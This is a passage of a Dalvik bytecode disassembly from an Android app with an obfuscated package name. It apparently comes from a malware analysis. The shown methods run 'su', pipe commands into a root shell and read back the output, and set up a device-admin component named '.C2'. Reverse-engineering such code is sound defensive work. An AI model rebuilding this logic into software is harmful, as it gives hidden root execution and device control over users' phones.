    00087bacinvoke-direct {v0}, Ljava/lang/StringBuffer;-><init>()V
    00087bb2const-string v1, "root@"
    00087bb6invoke-virtual {v5, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    00087bbcmove-result v1
    00087bbeif-eqz v1, :cond_3c
    00087bc2const-string v1, "root@"
    00087bc6invoke-virtual {v5, v1}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
    00087bccmove-result v5
    00087bceif-eqz v5, :cond_3c
    00087bd2invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
    00087bd8move-result-object v5
    00087bdaconst-string v1, "su"
    00087bdeinvoke-virtual {v5, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
    00087be4move-result-object v5
    00087be6invoke-virtual {v5}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
    00087becmove-result-object v1
    00087beeconst-string v2, "ASCII"
    00087bf2invoke-virtual {v4, v2}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
    00087bf8move-result-object v4
    00087bfainvoke-virtual {v1, v4}, Ljava/io/OutputStream;->write([B)V
    00087c00invoke-virtual {v1}, Ljava/io/OutputStream;->flush()V
    00087c06invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
    00087c0cinvoke-virtual {v5}, Ljava/lang/Process;->waitFor()I
    00087c12invoke-virtual {v5}, Ljava/lang/Process;->exitValue()I
    00087c18move-result v4
    00087c1asput v4, Lcmf0/c3b5bm90zq/patch/b;->a:I
    00087c1egoto :goto_4c
    00087c20invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
    00087c26move-result-object v5
    00087c28invoke-virtual {v5, v4}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
    00087c2emove-result-object v5
    00087c30invoke-virtual {v5}, Ljava/lang/Process;->waitFor()I
    00087c36invoke-virtual {v5}, Ljava/lang/Process;->exitValue()I
    00087c3cmove-result v4
    00087c3egoto :goto_39
    00087c40new-instance v4, Ljava/io/BufferedReader;
    00087c44new-instance v1, Ljava/io/InputStreamReader;
    00087c48invoke-virtual {v5}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
    00087c4emove-result-object v5
    00087c50invoke-direct {v1, v5}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
    00087c56invoke-direct {v4, v1}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
    00087c5cinvoke-virtual {v4}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
    00087c62move-result-object v5
    00087c64if-eqz v5, :cond_75
    00087c68new-instance v1, Ljava/lang/StringBuilder;
    00087c6cinvoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00087c72invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087c78sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->g:Ljava/lang/String;
    00087c7cinvoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087c82invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087c88move-result-object v5
    00087c8ainvoke-virtual {v0, v5}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
    00087c90goto :goto_5a
    00087c92invoke-virtual {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
    00087c98move-result-object v4
    00087c9ainvoke-virtual {v4}, Ljava/lang/String;->length()I
    00087ca0move-result v5
    00087ca2if-nez v5, :cond_81
    00087ca6const-string v4, "return null"
    00087caareturn-object v4
    00087cacmove-exception v4
    00087caenew-instance v5, Ljava/lang/StringBuilder;
    00087cb2invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
    00087cb8const-string v0, "error! >"
    00087cbcinvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087cc2invoke-virtual {v4}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
    00087cc8move-result-object v4
    00087ccainvoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087cd0sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->g:Ljava/lang/String;
    00087cd4invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087cdainvoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087ce0move-result-object v4
    00087ce2return-object v4
    00087b98
    00087ce4
    00087ce4 struct try_item
    00087ce4 start_addr uint32 0x87bb2
    00087ce8 insn_count int 111
    00087cea handler_off uint16 0x87ced
    00087cec
    00087cec struct encoded_catch_handler_list
    00087cec size int 1
    00087ced
    00087ced struct encoded_catch_handler ← 0x87cea
    00087ced size int64 1
    00087cee handlers[0].type_idx int 0x5994
    00087cf0 handlers[0].addr uint32 0x87cac
    00087cf2
    00087cf2 // align 0x4
    00087cf4
    00087cf4cmf0.c3b5bm90zq.patch.c::<init>(android.content.Context):
    00087d04invoke-direct {v3}, Ljava/lang/Object;-><init>()V
    00087d0aiput-object v4, v3, Lcmf0/c3b5bm90zq/patch/c;->a:Landroid/content/Context;
    00087d0eiget-object v4, v3, Lcmf0/c3b5bm90zq/patch/c;->a:Landroid/content/Context;
    00087d12const-string v0, "device_policy"
    00087d16invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00087d1cmove-result-object v4
    00087d1echeck-cast v4, Landroid/app/admin/DevicePolicyManager;
    00087d22iput-object v4, v3, Lcmf0/c3b5bm90zq/patch/c;->b:Landroid/app/admin/DevicePolicyManager;
    00087d26new-instance v4, Landroid/content/ComponentName;
    00087d2aiget-object v0, v3, Lcmf0/c3b5bm90zq/patch/c;->a:Landroid/content/Context;
    00087d2einvoke-virtual {v0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
    00087d34move-result-object v0
    00087d36new-instance v1, Ljava/lang/StringBuilder;
    00087d3ainvoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00087d40iget-object v2, v3, Lcmf0/c3b5bm90zq/patch/c;->a:Landroid/content/Context;
    00087d44invoke-virtual {v2}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
    00087d4amove-result-object v2
    00087d4cinvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087d52const-string v2, ".C2"
    00087d56invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087d5cinvoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00087d62move-result-object v1
    00087d64invoke-direct {v4, v0, v1}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
    00087d6aiput-object v4, v3, Lcmf0/c3b5bm90zq/patch/c;->c:Landroid/content/ComponentName;
    00087d6ereturn-void
    00087cf4